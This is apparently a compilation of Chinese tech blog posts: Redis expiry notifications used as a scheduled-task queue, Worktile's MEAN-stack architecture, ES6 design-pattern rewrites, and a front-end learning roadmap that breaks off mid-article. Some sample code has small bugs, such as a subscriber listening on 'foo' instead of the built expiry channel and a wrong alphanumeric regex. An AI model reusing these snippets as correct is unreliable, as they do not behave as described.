Redis 在 2.0.0 之后推出了 Pub / Sub 的指令，大致就是说一边给 Redis 的特定频道发送消息，另一边从 Redis 的特定频道取值——形成了一个简易的消息队列


比如我们可以往 foo 频道推一个消息 bar，那么就可以直接：


PUBLISH foo bar



另一边我们在客户端订阅 foo 频道就能接受到这个消息了。


举个例子，如果在 Node.js 里面使用 ioredis 这个包那么看起来就会像这样：


javascriptvar Redis = require("ioredis");
var sub = new Redis(/** 连接信息 */);
sub.once("connect", function() {
    // 假设我们需要选择 redis 的 db，因为实际上我们不会去污染默认的 db 0
    sub.select(DB_NUMBER, function(err) {
        if(err) process.exit(4);
        sub.subscribe("foo", function() {
            //... 订阅频道成功
        });
    });
});

// 监听从 `foo` 来的消息
sub.on("message", function(channel, msg) {
    console.log(channel, msg);
});



Redis Keyspace Notifications


在 Redis 里面有一些事件，比如键到期、键被删除等。然后我们可以通过配置一些东西来让 Redis 一旦触发这些事件的时候就往特定的 Channel 推一条消息。


本文所涉及到的需求的话我们所需要关心的事件是 EXPIRE 即过期事件。


大致的流程就是我们给 Redis 的某一个 db 设置过期事件，使其键一旦过期就会往特定频道推消息，我在自己的客户端这边就一直消费这个频道就好了。


以后一来一条定时任务，我们就把这个任务状态压缩成一个键，并且过期时间为距这个任务执行的时间差。那么当键一旦到期，就到了任务该执行的时间，Redis 自然会把过期消息推去，我们的客户端就能接收到了。这样一来就起到了定时任务的作用。


消息类型


当达到一定条件后，有两种类型的这种消息会被触发，用哪个需要自己选了。举个例子，我们删除了在 db 0 中一个叫 foo 的键，那么系统会往两个频道推消息，一个是 del 事件频道推 foo 消息，另一个是 foo 频道推 del 消息，它们小俩口被系统推送的指令分别等价于：


PUBLISH __keyspace@0__:foo del
PUBLISH __keyevent@0__:del foo



其中往 foo 推送 del 的频道名为 __keyspace@0__:foo，即是 "__keyspace@" + DB_NUMBER + "__:" + KEY_NAME；而 del 的频道名为 "__keyevent@" + DB_NUMBER + "__:" + EVENT_NAME。


配置


即使你的 Redis 版本达标了，但是 Redis 默认是关闭这个功能的，你需要修改配置文件来打开它，或者直接在 CLI 里面通过指令修改。这里就说说配置文件的修改吧。


如果不想看我在这里罗里吧嗦的，也可以直接去看 Redis 的相关文档。


首先打开 Redis 的配置文件，在不同的系统和安装方式下文件位置可能不同，比如通过 brew 安装的 MacOS 下可能是在 /usr/local/etc/redis.conf 下面，通过 apt-get 安装的 Ubuntu 下可能是在 /etc/redis/redis.conf 下，总之找到配置文件。或者自己写一个配置文件，启动的时候指定配置文件地址就好。


然后找到一项叫 notify-keyspace-events 的地方，如果找不到则自行添加，其值可以是 Ex、Klg 等等。这些字母的具体含义如下所示：



	
K，表示 keyspace 事件，有这个字母表示会往 __keyspace@<db>__ 频道推消息。

	
E，表示 keyevent 事件，有这个字母表示会往 __keyevent@<db>__ 频道推消息。

	
g，表示一些通用指令事件支持，如 DEL、EXPIRE、RENAME 等等。

	
$，表示字符串（String）相关指令的事件支持。

	
l，表示列表（List）相关指令事件支持。

	
s，表示集合（Set）相关指令事件支持。

	
h，哈希（Hash）相关指令事件支持。

	
z，有序集（Sorted Set）相关指令事件支持。

	
x，过期事件，与 g 中的 EXPIRE 不同的是，g 的 EXPIRE 是指执行 EXPIRE key ttl 这条指令的时候顺便触发的事件，而这里是指那个 key 刚好过期的这个时间点触发的事件。

	
e，驱逐事件，一个 key 由于内存上限而被驱逐的时候会触发的事件。

	
A，g$lshzxe 的别名。也就是说 AKE 的意思就代表了所有的事件。



结合上述列表我们就能拼凑出自己所需要的事件支持字符串了，在我的需求中我只需要 Ex 就可以满足了，所以配置项就是这样的：


notify-keyspace-events Ex



然后保存配置文件，启动 Redis 就启用了过期事件的支持了。


实践


我们先说任务的创造者吧。由于这里 Redis 的事件只会传键名，并不会传键值，而过期事件触发的时候那个键已经没了，你也无法获取键值，加上我的主系统和任务系统是分布式的，所以就把所有需要的信息往键名塞。


一个最简单的键名设计就是 任务类型 + ":" + JSON.stringify 化后的参数数组；更有甚者可以直接把任务类型替换成所需的函数路径，比如需要执行这个任务的函数在 task/foo/bar 文件下面的 baz 函数，参数 arguments 数组为 [ 1, 2 ]，那么键名的设计可以是 task/foo/bar.baz:[1,2]，反正我们只需要触发这个键，用不着去查询这个键。等到真正过期了任务系统接收到这个键名的时候再一一解析，得到需要执行 task/foo/bar.baz 这个消息，并且网函数里面传入 [1,2] 这个 arguments。


所以当接收到一个定时任务的时候，我们得到消息、函数名、过期时间参数，这个函数可以如下设计：


javascript/** 我们假设 redis 是一个 ioredis 的对象 */

var sampleTaskMaker = function(message, func, timeout) {
    message = JSON.stringify(message);
    console.log("Received a new task:", func, message, "after " + timeout + ".");

    // 这里的 uuid 是 npm 一个包
    // 生成一个唯一 uuid 的目的是为了防止两个任务用了相同的函数和参数，那么
    // 键名可能会重复并覆盖的情况
    // uuid 的文档为 https://www.npmjs.com/package/node-uuid
    //
    // 这里的 ❤️ 是一个分隔符，冒号是分割 uuid 和后面内容的，而 ❤️ 是分割函数名
    // 和消息的
    var key = uuid.v1().replace(/-/g, "") +
        ":❤️" + func + "❤️" + message;
    var content = "";

    redis.multi()
        .set(key, content)
        .expire(key, timeout)
        .exec(function(err) {
            if(err) {
                console.error("Failed to publish EXPIRE EVENT for " + content);
                console.error(err);
                return;
            }
        });
};




  Ioredis 的稳定可以点此查看。




然后在任务系统里面的一开始监听这个过期频道：


javascript// assign 是 sugarjs 里面的函数
// 把 db 塞到字符串里面的 {db} 里去
var subscribeKey = "__keyevent@{db}__:expired".assign({ db: 1 });

// 假设 sub 是 ioredis 的对象
sub.once("connect", function() {
    // 假设我们需要选择 redis 的 db，因为实际上我们不会去污染默认的 db 0
    sub.select(1, function(err) {
        if(err) process.exit(4);
        sub.subscribe("foo", function() {
            //... 订阅频道成功
        });
    });
});

// 监听从 `foo` 来的消息
sub.on("message", sampleOnExpired);




  注意： 我们这里选择 db 1 是因为一旦开启过期事件监听，那么这个 db 的所有过期事件都会被发送。为了不跟正常使用的 redis 过期键混淆，我们为这个事情专门用一个新的 db。比如我们在自己正常使用的 db 0 里面监听了，那么不是我们任务触发的过期事件也会传过来，这个时候我们解析的键名就不对了。




最后就是我们的 sampleOnExpired 函数了。


javascriptvar sampleOnExpired = function(channel, key) {
    // UUID:❤️func❤️params
    var body = key.split("❤️");
    if(body.length < 3) return;

    // 取出 body 第一位为 func
    var func = body[1];

    // 推出前两位，后面剩下的有可能是参数里面自带 ❤️ 而被分割，所以要拼回去
    body.shift(); body.shift();
    var params = body.join("❤️");

    // 然后把 params 传入 func 去执行
    // func:
    //   path1/path2.func
    func = func.split(".");
    if(func.length !== 2) {
        console.error("Bad params for task:", func.join("."), "-", params);
        return;
    }

    var path = func[0];
    func = func[1];

    var mod;
    try {
        mod = require("./tasks/" + path);
    } catch(e) {
        console.error("Failed to load module", path);
        console.error(e.stack);
        return;
    }

    process.nextTick(function() {
        try {
            mod[func].apply(null, JSON.parse(params));
        } catch(e) {
            console.error("Failed to call function", path, "-", func, "-", params);
            console.error(e.stack);
        }
    });
};



这个简易的架子搭好后，你只需要去写一堆任务执行函数，然后在生成任务的时候把相应参数传给 sampleTaskMaker 就好了。Redis 会自动过期并且触发事件给你的 sampleOnExpired 函数，然后就会去执行相应的任务处理函数了。


小结


其实这个需求在我们项目目前就是给用户定时发提醒短信用的。如果没有发现 Redis 的这个妙用，我还是会去用第二节里面的方法来写的。其实这期间也有考虑过用 RabbitMQ，不过貌似它的定时消息需要做一些 Hack，比较麻烦，最后就放弃了。


Redis 的这个方法其实是我在谷歌搜出来的，别人在 StackOverflow 回答的答案。我参考了之后用我自己的方法实现了出来，并且把代码的关键部分提取出来整理成这篇小文，还希望能给各位看官一些用吧，望打赏。


如果没有什么用也憋喷我，毕竟我是个蒟蒻。有更好的方法希望留个言，望告知。谢谢。(´,,•ω•,,)♡
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 团队协作工具 Worktile 技术架构揭秘

作者：Worktile

来源： 团队协作工具 Worktile 技术架构揭秘



                    
Worktile自上线两年多以来，以良好的用户体验和稳定的服务，获得了用户的认可和喜爱。截止笔者写这篇文章的时候，已经有超过10万家团队在使用Worktile。作为团队协作工具，从技术上分析首先要解决如下几个问题：



	基于Web的跨平台设计，让用户在任何地方都可以随时通过浏览器访问

	Web形态的产品要具有原生客户端的体验，如任务的拖拽等

	具有高效的实时消息系统，每个团队成员在Worktile中所做的任何操作，都要实时在其他成员的客户端中自动刷新

	服务要稳定，稳定压倒一切 



那么Worktile是如何做到这几点的？今天笔者在这篇文章里一一为大家揭秘。


SPA设计


先来说说Worktile中SPA（单页应用程序）设计，作为团队协作工具，需要尽可能减少用户在不同页面之间的跳转，所以从一开始我们就决定Worktile必须是单页应用程序，当时面临的选择有很多，首先我们考虑使用大名鼎鼎的Backbone.js，但是很快又抛弃了，因为在实际使用中Backbone.js太复杂，另一方面开发效率太低，最终我们选择了Google出品的AngularJs，下面这幅图是AngularJS的结构图：





选择它主要基于以下几点考虑：



	
自动化双向数据绑定功能，这一点在Worktile中非常重要，如任务的状态变化都要实时变更到其他成员，如果具有自动化双向数据绑定功能，只需要绑定到UI的数据源发生变化，UI会自动发生改变，不需要工程师再通过代码去修改UI元素的改变，如下面这段代码：




<div class="entry-task-main" 
     ng-class="{1:'task-completed-style'}[task.completed]">
    <a class="entry-task-check" 
     id="task_check_{{ task.tid }}"
       wt-click="js_complete_task($event, entry, task)">
        <i ng-class="{0: 'icon-check-empty', 1: 'icon-check-sign'}[task.completed]"></i>
    </a>
    <a class="entry-task-title" href="javascript:;">{{task.name}}</a>
</div>







	
语义化标签，AngularJS在设计之初信奉的理念就是：当编写UI的同时又需要编写业务逻辑时，声明式的代码远比命令式代码要好，命令式的代码更适合写业务逻辑，AngularJS在设计上就通过语义化的标签把对DOM元素的操作和逻辑代码分离，如我们需要展现一个任务列表，只需要下面这段代码即可：


<div ng-repeat="task in tasks">
     <wt-task view-type="item" show-project="false" 
            class="slide-trigger"
              hide_action="true"
              ng-click="locator.openTask(task.pid, task.tid)">
     </wt-task>
</div>




	
模块化设计，AngularJS堪称模块化设计方面的典范，通过模块化设计我们可以非常好的实现Worktile的工程化，在Worktile中涉及的元素非常多，如有项目、任务、日程、文件、话题、文档等等，而这每一个元素都可以设计为一个模块，如下所示：


(function () {
    'use strict';
    angular.module('wtApp', [  'wt.project.ctrl',
        'wt.team.ctrl',
        'wt.task.ctrl',
        'wt.event.ctrl',
        'wt.post.ctrl',
        'wt.file.ctrl',
        'wt.page.ctrl',
        'wt.mail.ctrl'
    ]);
}());





	
引入依赖注入，依赖注入是面向对象中比较成熟的设计模式之一，为了解决面向对象中依赖问题，得到了广泛的应用，AngularJS中大胆使用了依赖注入，极大的减少了各个模块之间的依赖问题：


taskListCtrl.$inject = ['$scope', '$stateParams', 
            '$rootScope', '$popbox', 
            '$location', '$timeout', 
            'bus', 'globalDataContext', 
            'locator'];







结合以上特点，我们最终决定了前端框架使用AngularJS来实现，从Worktile上线两年多的表现来看，我们的选择无疑是正确的。当然AngularJS也有一些缺点，在实际使用中还是要根据具体的产品类型来选择使用，另外AngularJS 2.0也已经初见端倪，和AngularJS 1.0有很大的不同，感兴趣的同学可以先去尝鲜一下。


服务设计


我们再来看看Worktile的后台服务设计，Worktile的整体服务架构设计如下图所示：





其中前端部分在上面的SPA一节中我们已经说过了，下面一一分析下其他的服务：



	API服务，包括Web API、Mobile API、Open API，这些都运行于NodeJS之上，选用NodeJS的原因主要是它的异步事件驱动，对于高并发的支持比较好，另外一个原因是使用简单，对于前后端可以使用同一门语言去开发。

	缓存和队列服务，Worktile中的缓存和队列服务都是基于Redis来实现，Redis是一款非常优秀的开源缓存服务，并且可以选择基于内存还是进行数据持久化，它提供的pub/sub模型对于Worktile来说非常重要，对于一些实时性要求不高的处理，我们都是在Redis中pub一条消息，告知其他服务有数据发生了变化，那些服务在接收到Redis中的消息后，根据消息的类型决定应该如何做出处理。

	数据库服务，Worktile产品本身的特点决定了它是一个对实时性和性能的要求，远超过对事务性要求的产品，所以在选择数据库时，我们选用了MongoDB数据库，性能高，集群方便，数据以BSON结构存储，和Node.js天生完美结合。

	文件预览服务，使用Worktile的同学肯定知道在Worktile中所有的文件都可以做到无需下载到本地，而直接在线查看，这一切都是预览服务的功劳，因为文件类型的各种各样，在实现文件预览时也要根据文件的类型做出不同的处理，针对txt、pdf、代码片段等文本型的文件，我们只需要读取文件中的内容，然后再前端用相应的视图展现出来即可，相对比较简单。但是对于Office类型的文件，如ppt、doc、xls等文件，就不能这么简单的处理，我们希望文件在Worktile中查看的效果和用户在本地使用Word、Excel、PowerPoint查看的效果差不多，经过我们的调研，最终选用了微软官方提供的Office Web App服务。



消息推送


消息推送服务是Worktile最核心的服务之一，前面提到过作为一款团队协作工具，要能够实现非常好的实时性，任何数据的变化都需要及时变更到团队所有成员当前所在的视图，如下面这幅图，是一个典型的任务看板，团队所有成员可能同时在操作当前项目中的任务，每个操作引起看板的变化都会实时更新，不需要用户做任何刷新操作：





为了达到这种效果，需要在Web客户端和服务器之间维持一个长连接，当有任何改变发生时，给客户端发送不同的消息，告知客户端哪些数据发生了变化，如下面是我们为任务定义的消息中的其中几个：


on_task_trash            : "on_task_trash",
on_task_complete         : "on_task_complete",
on_task_move             : "on_task_move",
on_task_update           : "on_task_update",
on_task_comment          : "on_task_comment",
on_task_badges_file      : "on_task_badges_file",
on_task_unarchived       : "on_task_unarchived",
on_task_badges_check     : "on_task_badges_check"



实现实时消息推送，有以下几种方式可供选择：



	短轮询，页面端通过js定时异步刷新，这种方式优点在于实现简单，但实时效果较差。

	长轮询。页面端通过js异步请求服务端，服务端在接收到请求后，如果该次请求没有数据，则挂起这次请求，直到有数据到达或时间片（服务端设定）到，则返回本次请求，客户端接着下一次请求，这种方式对于服务的要求较高，尤其在并发量很大的情况下，对服务端的压力很大。

	Websocket。浏览器通过websocket协议连接服务端，实现了浏览器和服务器端的全双工通信。需要服务端和浏览器都支持websocket协议。



在Worktile一开始我们选用了Socket.IO作为消息服务，但是随着访问量的增大，需要做集群化的时候感觉到力不从心，尤其对于Socket.IO状态数据的存储，由于并没有官方的解决方案，当时我们采用了一个第三方的开源项目，使用Redis来存储，引起了一些性能上的问题，在后来重构时选用了基于Erlang语言的开源XMPP服务ejabberd作为我们的消息服务。


ejabberd是xmpp协议的一种实现， xmpp广泛应用于即时通信领域。Xmpp协议的实现有很多种，比如java的openfire，但相较其他实现，ejabberd的并发性能无疑使最优秀的。Xmpp协议的前身是jabber协议，早期的jabber协议主要包括在线状态（presence）、好友花名册（roster）、IQ（Info/Query）几个部分。现在jabber已经成为rfc的官方标准，如rfc2799, rfc4622, rfc6121，以及xmpp的扩展协议（xep）。Worktile就是基于XEP-0124、XEP-0206定义的BOSH扩展协议。


由于自身业务的需要，我们对ejabberd的用户认证和好友列表模块的源码进行修改，通过redis保存用户的在线状态，而不是mnesia和mysql。另外好友这块我们是从已有的数据库中（mongodb）中获取Worktile中项目或团队的成员。Web端通过strophe.js来连接（http-bind），strophe.js可以以长轮询和websocket两种方式来连接，由于ejabberd还没有好的websocket的实现，就采用了BOSH的方式模拟长连接。整个系统的结构如下：





后记


关于Worktile整个的技术架构就揭秘到这里，通过上面的介绍，相信大家也能看到Worktile本身就是典型的MEAN（MongoDB、Express、AngularJS、NodeJS）架构，外加上ejabberd作为实时消息推送服务，建议大家在自己的产品中，根据产品自身的特点和团队的技术背景，来选择具体使用哪种技术。




作者简介


李会军，Worktile联合创始人&CTO，关注团队协作领域，致力于用工具解决中小团队的协作问题。


 用ES6重写《JavaScript Patterns》中的设计模式

作者：菜菜蔡伟

来源： 用ES6重写《JavaScript Patterns》中的设计模式



                    
前言


最近在回顾设计模式方式的知识，重新翻阅了《JavaScript模式》（个人感觉也算是一本小有名气的书了哈）一书，读时总有感触：在即将到来的ES6的大潮下，书中的许多模式的代码可用ES6的语法更为优雅简洁的实现，而另一些模式，则已经被ES6原生支持，如模块模式（99页）。所以自己动手用ES6重新实现了一遍里面的设计模式，算是对其的巩固，也算是与大家一起来研究探讨ES6语法的一些最佳实践。


目录


（以下所有例子的原型均为《JavaScript模式》一书里“设计模式”章节中的示例）



	单例模式

	迭代器模式

	工厂模式

	装饰者模式

	策略模式

	外观模式

	代理模式

	订阅/发布模式



代码repo地址，欢迎star，欢迎follow。


实现


单例模式


主要改变为使用了class的写法，使对象原型的写法更为清晰，更整洁：


js'use strict';
let __instance = (function () {
  let instance;
  return (newInstance) => {
    if (newInstance) instance = newInstance;
    return instance;
  }
}());

class Universe {
  constructor() {
    if (__instance()) return __instance();
    //按自己需求实例化
    this.foo = 'bar';
    __instance(this);
  }
}

let u1 = new Universe();
let u2 = new Universe();

console.log(u1.foo); //'bar'
console.log(u1 === u2); //true



迭代器模式


ES6原生提供的Iterator接口就是为这而生的啊，使用胖箭头函数写匿名函数（还顺带绑定了上下文，舒舒服服）：


js'use strict';
let agg = {
  data: [1, 2, 3, 4, 5],
  [Symbol.iterator](){
    let index = 0;
    return {
      next: () => {
        if (index < this.data.length) return {value: this.data[index++], done: false};
        return {value: undefined, done: true};
      },
      hasNext: () => index < this.data.length,
      rewind: () => index = 0,
      current: () => {
        index -= 1;
        if (index < this.data.length) return {value: this.data[index++], done: false};
        return {value: undefined, done: true};
      }
    }
  }
};

let iter = agg[Symbol.iterator]();
console.log(iter.next()); // { value: 1, done: false }
console.log(iter.next()); // { value: 2, done: false }
console.log(iter.current());// { value: 2, done: false }
console.log(iter.hasNext());// true
console.log(iter.rewind()); // rewind!
console.log(iter.next()); // { value: 1, done: false }

// for...of
for (let ele of agg) {
  console.log(ele);
}



工厂模式


个人感觉变化比较不大的一个：


js'use strict';
class CarMaker {
  constructor() {
    this.doors = 0;
  }

  drive() {
    console.log(`jaja, i have ${this.doors} doors`);
  }

  static factory(type) {
    return new CarMaker[type]();
  }
}

CarMaker.Compact = class Compact extends CarMaker {
  constructor() {
    super();
    this.doors = 4;
  }
};

CarMaker.factory('Compact').drive(); // 'jaja, i have 4 doors'



装饰者模式


for...of循环，新时代的for (var i = 0 ; i < arr.length ; i++)？ :


js'use strict';
class Sale {
  constructor(price) {
    [this.decoratorsList, this.price] = [[], price];
  }

  decorate(decorator) {
    if (!Sale[decorator]) throw new Error(`decorator not exist: ${decorator}`);
    this.decoratorsList.push(Sale[decorator]);
  }

  getPrice() {
    for (let decorator of this.decoratorsList) {
      this.price = decorator(this.price);
    }
    return this.price.toFixed(2);
  }

  static quebec(price) {
    return price + price * 7.5 / 100;
  }

  static fedtax(price) {
    return price + price * 5 / 100;
  }
}

let sale = new Sale(100);
sale.decorate('fedtax');
sale.decorate('quebec');
console.log(sale.getPrice()); //112.88



策略模式


对于传统的键值对，使用Map来代替对象(数组)来组织，感觉带来得是更好的语义和更方便的遍历：


js'use strict';
let data = new Map([['first_name', 'Super'], ['last_name', 'Man'], ['age', 'unknown'], ['username', 'o_O']]);
let config = new Map([['first_name', 'isNonEmpty'], ['age', 'isNumber'], ['username', 'isAlphaNum']]);

class Checker {
  constructor(check, instructions) {
    [this.check, this.instructions] = [check, instructions];
  }
}

class Validator {
  constructor(config) {
    [this.config, this.messages] = [config, []];
  }

  validate(data) {
    for (let [k, v] of data.entries()) {
      let type = this.config.get(k);
      let checker = Validator[type];
      if (!type) continue;
      if (!checker) throw new Error(`No handler to validate type ${type}`);
      let result = checker.check(v);
      if (!result) this.messages.push(checker.instructions + ` **${v}**`);
    }
  }

  hasError() {
    return this.messages.length !== 0;
  }
}

Validator.isNumber = new Checker((val) => !isNaN(val), 'the value can only be a valid number');
Validator.isNonEmpty = new Checker((val) => val !== "", 'the value can not be empty');
Validator.isAlphaNum = new Checker((val) => !/^a-z0-9/i.test(val), 'the value can not have special symbols');

let validator = new Validator(config);
validator.validate(data);
console.log(validator.messages.join('\n')); //the value can only be a valid number **unknown**



外观模式


这个简直没啥好变的。。。：


js'use strict';
let nextTick = (global.setImmediate == undefined) ? process.nextTick : global.setImmediate;



代理模式


利用extends关键字来获得父类中的方法引用以及和父类相同的类接口：


js'use strict';
class Real {
  doSomething() {
    console.log('do something...');
  }
}

class Proxy extends Real {
  constructor() {
    super();
  }

  doSomething() {
    setTimeout(super.doSomething, 1000 * 3);
  }
}

new Proxy().doSomething(); //after 3s ,do something...



订阅/发布模式


被Node原生的Events模块所支持，同样结合默认参数，for...of遍历等特性，代码的减少以及可读性的增加都是可观的：


js'use strict';
class Event {
  constructor() {
    this.subscribers = new Map([['any', []]]);
  }

  on(fn, type = 'any') {
    let subs = this.subscribers;
    if (!subs.get(type)) return subs.set(type, [fn]);
    subs.set(type, (subs.get(type).push(fn)));
  }

  emit(content, type = 'any') {
    for (let fn of this.subscribers.get(type)) {
      fn(content);
    }
  }
}

let event = new Event();

event.on((content) => console.log(`get published content: ${content}`), 'myEvent');
event.emit('jaja', 'myEvent'); //get published content: jaja



最后


以上所有代码均可通过Babel跑通，90%以上的代码可被当前版本的io.js(v2.0.2)跑通。


 [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)

作者：kraaas

来源： [ 学习路线 ] 2015 前端(JS)工程师必知必会 (2)



                    

  转自：前端外刊评论

  非常感谢，翻译的很好，受益很多，转到此处让前端小伙伴们也惊呆下........




上次我写《前端工程师必知必会》已经是三年前了，那是我写过最火的文章了。三年了，我仍然会在Twitter上收到关于这篇文章的消息。


从2012年到现在，一篇文章都没发过让我觉得有点羞羞哒。三年是一段很长的时间，很多东西都发生了改变。2012年，我鼓励同学们去学习浏览器开发者工具和模块化；虽然有很多同学会觉得CSS预编译和客户端模板引擎并不靠谱，但我仍然想要说一说它们；还有JSHint，虽然有#getoffmylawn（滚出我的地盘）的警告，但依然无法阻止JSHint成为一个受欢迎的理念（准确的说，JSLint真的（只是）存在过）。


已经是2015年了，我想写一篇新的，但是当我坐下来开始动笔的时候，想到了两个事情。一，这些东西被称作“必知必会”可能有人会觉得不太公平——如果你已经觉得2012年的那篇文章如此，那本文也是一样的了。也许有同学会说，我们应该把 “足够应付业务需求的技能” 作为 “前端必须掌握的知识”，但考虑到前端行业里也有各种各样的工作可供选择，这么做也只能得到一个并不适合所有人的 “前端基础知识”。对于我来说，我需要的不是工作，我想要的是被邀请去做一份牛逼的工作。我想要的不只是去干活而已，而是想和一群牛逼的人一起做牛逼的事。我不想仅仅满足于用已有的知识来完成现在的工作，而是希望掌握更多的知识来解决未来将会面对的问题。


第二，我现在已经完全把Javascript作为我的核心了：CSS知识只有在必须关注性能问题时才会用到，其他场景已经用的越来越少。我知道有很多牛逼的前端同学并不是这样的，但我也意识到，关注JS的同学和关注CSS的同学之间的距离也越来越远。这可能需要在另起一篇文章来讨论，不过我想说的是，这篇文章中不会有介绍CSS技能标准的内容，因为我还远远没有达到能那么做的水平。


总之，就算这个技能列表并不适合你的前端工作，没关系，不要有压力，地球也不会爆炸。


Javascript


回想2009年，那时候当你知道 HTML5 在2014年才能用的时候，你是不是觉得这辈子基本上都用不到它了？如果是，那么你需要准备好接受进展缓慢但是已经趋于稳定的ES6了，它也是下一代的Javascript（现在叫 ES2015 了，嗯，这名字至少表示今年就能用了）。就我而言，ES6，额，ES2015 无疑是我个人现在最关注的 Javascript 内容。在 ES6 中将会出现一些比较大的变化：类，真正的私有，经过改进更易用的函数和参数设定，可导入的模块，等等等等。那些掌握和理解新的语法的同学以后将会在 JS 社区牛逼闪闪。相关阅读：



	
Understanding ES6，Nicholas Zakas 正在写的书。

	BabelJS，一个可以把你写的 ES6 的代码编译成 ES5 并在现代浏览器中运行的工具。他们也有一个不错的介绍 ES6 的文档。

	
ES6 Rocks，里面有大量的文章探索 ES6 的特性，语义和缺陷。



你也许会问：那我需要成为一个 ES6 专家么？也许现在不需要，但至少你得和你的同事懂的一样多吧？或者比他们稍微多一点？当然，如果能在你的下一个新项目中作为一个娱乐性的技术尝试也是不错的，做好准备肯定没错的，因为我们永远不知道下一刻会发生什么。


先不说新的语言特性，使用回调和 promises 管理异步 Javascript 至少得背的滚瓜烂熟吧。浏览器端应用加载，以及应用间通信策略得形成一套自己的观点吧。而且你应该知道哪种框架最适合你，而不是现在还把时间花在理解各种框架的实现原理和该选择哪种框架上。


模块化和构建工具


毫无疑问，模块化是构建 Web 客户端应用的基石。回到2012年，关于使用哪种模块化（AMD/CommonJS）方案构建浏览器端应用还存在很多争论。而最近慢慢火起来的 UMD 则在保证代码可复用的前提下尝试避免这样的问题。 其实也没什么好争得，毕竟这俩玩意儿之间也就差几个字符吧？


我觉得类似这样的争论其实并不都需要有一个答案，这也是我觉得从2012年到现在我们发生的最大的转变，当然，也许只是我自己这么认为。因为我觉得与其说“我再也不用 AMD 了”之类的话，倒不如多去讨论 “在开发和打包过程中使用 CommonJS 和 npm 遇到的各种难题” 来的更有价值。


虽然很感激 RequireJS 曾经对模块化做出的贡献，不过现在我开始有点迷恋 webpack 了。 webpack 的构建配置比 RequireJS 更加易于理解，也更具访问性。通过它的热插拔特性和内置的本地静态服务器可以让发布更加便捷。它并不强制要求使用 AMD 或者 CommonJS – 两个它都支持。它还实现了一大堆加载器，用来完成常见的繁琐工作。 Browserify 也值得去了解一下，不过我个人认为它比 Webpack 落后很多。一些靠谱的朋友告诉我说 systemjs 也是这个领域的竞争者，不过我还没有用过，而且它的文档烂的我连看都不想看。不过我觉得它的好基友 jspm (包管理器)比较有趣，jspm 可以让你从各种包管理服务器加载你需要的各种组件，(组件必须是符合 ES6, AMD, CommonJS and globals 规范的)，包括 npm, github 等，但是我对于这两个玩意的合体还是有点不太理解。啊，还有，虽然我说了这么多关于模块化之外的内容，但我从来没想过放弃 AMD，我们边走边看吧。


我觉得如果要停止对模块化和构建工具的争论，形成统一的模块化系统，并且在这个系统里面，任何项目的代码都可以共享，而且还不需要 UMD 这样额外的补丁工具，我们还有很长的路要走。理想状况下，ES6 modules 的到来会解决这些问题，不过在这一天到来之前，类似 UMD 之类的转换器会填补这些空缺，不过貌似这样做我们又把事情变得复杂了，好像我们也总喜欢把事情弄得复杂。


与此同时，前端开发人员也需要对构建工具，各种模块化系统有自己的见解和知识储备。不管是好是坏，根据 Javascript 现在的进度，你的模块化策略会对你的项目有比较大的影响。


测试


客户端的代码测试变得越来越普遍，最近也诞生了一些新的测试框架： Karma，Intern 。我发现基于 promise 的 Intern 的异步测试方法相当优雅。不过可能是因为习惯，我大多数情况下还是用 Mocha 写测试用例。


测试的主要障碍其实是前端开发者的代码编写方式。我在2012年发表过一个关于《编写可测试的Javascript》下载地址的演讲，紧接着几个月后又发表了一篇相关的文章。


测试的第二大障碍是工具。Webdriver 是一个艰难而巨大的工作。目前在各个浏览器端做持续集成的 UI 自动化测试基本上是不可能的，更不用说移动端了。我们仍然停留在局限于某一小部分浏览器和设备上做轻量级的自动化功能测试，尽我们所能去研究怎样快速，低成本的进行这种测试的阶段。


如果你对如何改进代码的可测试性感兴趣的话，那么唯一一本最值得看的书是 Working Effectively with Legacy Code （中译版：《修改代码的艺术》。作者 Michael Feathers 定义了“遗留代码”的概念：任何未经测试的代码都是遗留代码。在测试领域，最基本的要素就是上面这句话，尽管你可能不这么认为。


流程自动化


你首先会想到 Grunt，这也是理所当然的。而 Gulp 和 Broccoli 的自动化构建方式也别具匠心。我没用过Broccoli，只玩过Gulp，我也开始意识到Grunt对于依赖其他服务的复杂任务的自动化工作存在局限性，尤其是当这种任务每天需要运行上千次的时候。


Yeoman是在我写完2012年的那篇文章仅仅45天之后发布的，我承认当时我并没有及时去尝试一下。不过最近我开始启动一些新项目，这些新项目有两个特点
a) 这些项目都是从零开始
b) 尝试用一些不同的技术方案，试图通过这种方式找到 Bazaarvoice（提供第三方点评服务）上第三方 JS 应用的规范化的开发方式。
Yeoman 在这两方面做的都很好。一个简单的 yo react-webpack 命令就可以为你初始化好你的项目，然后各种你想要的玩具也都应有尽有：生成测试用例，本地静态服务器，hello world 入门程序，等等等等。如果 React 和 webpack 不是你想要的，也许你会在 Yeoman 的 generators（项目生成器）里面找到一个你想要的，当然，自己自定义一个这样的构建包也是比较容易的。


鉴于 Yeoman 只是一个在项目开始时才会用到的构建工具，并且鉴于我们并不是总是做新项目，所以大多情况下了解一下就够了。除非，你也想去规范整个项目开发过程，那么它可能会更有价值一点。


Broccoli 已经得到了 ember-cli 的采纳，我觉得他们的配对可能会有一个新名字，这样在未来才比较方便和 Grunt /Yeoman 对抗。而 Grunt 和 Yeoman 的开发进度也放缓了，所以未来会发生什么，我们还是静观其变吧。


代码质量


如果你像我一样，一看见违反代码规范的代码时就开始抓狂，那么 JSCS 和
ESLint 就是老天赐给你的礼物，而2012压根就没这些玩意。他们都提供了自定义代码规范的方式，并且可以在代码提交前对你的代码做自动化校验。这让我想起了…


Git


从2012年到现在，github 的使用流程并没有发生很大的变化，比如在 pull request 页面连个分支名都没有（只是恶搞一下）。


你应该非常清楚和流畅地使用功能分支（feature branches）, 使用 rebase 合并别人的代码干活，使用交互式 rebase 命令和 squash 合并提交记录，或者尽可能细颗粒度的划分项目内容，避免引起代码冲突。另一个可用的 Git 工具是钩子，具体而言，就是你可以在 push 前，commit 前，执行你的各种测试用例，检查代码质量。你可以自己写钩子，也可以使用 ghooks ，由于 ghooks 使钩子工作变得非常简单，所以你简直没有理由不用它。


客户端模板


这可能是我在2012年的那篇文章中写的最烂的内容了，某种意义上的“烂”。客户端模板还是很有价值的，而且它已经被内置到 ES2015 里面了，这不仅仅只是一件好事而已。这些年也有一些惨重的教训，不少团队把所有的渲染工作全部丢到浏览器端去做，结果产生了严重的性能问题，所以 “在浏览器端渲染生成所有 HTML” 的做法理所当然的被摒弃了。 而更为聪明的做法则是，把 HTML 生成放在服务器端，或者通过预编译的方式，先将模板做为静态资源储存起来，在需要时快速的编译成 HTML，需要更新时也可以直接在客户端更新模板。


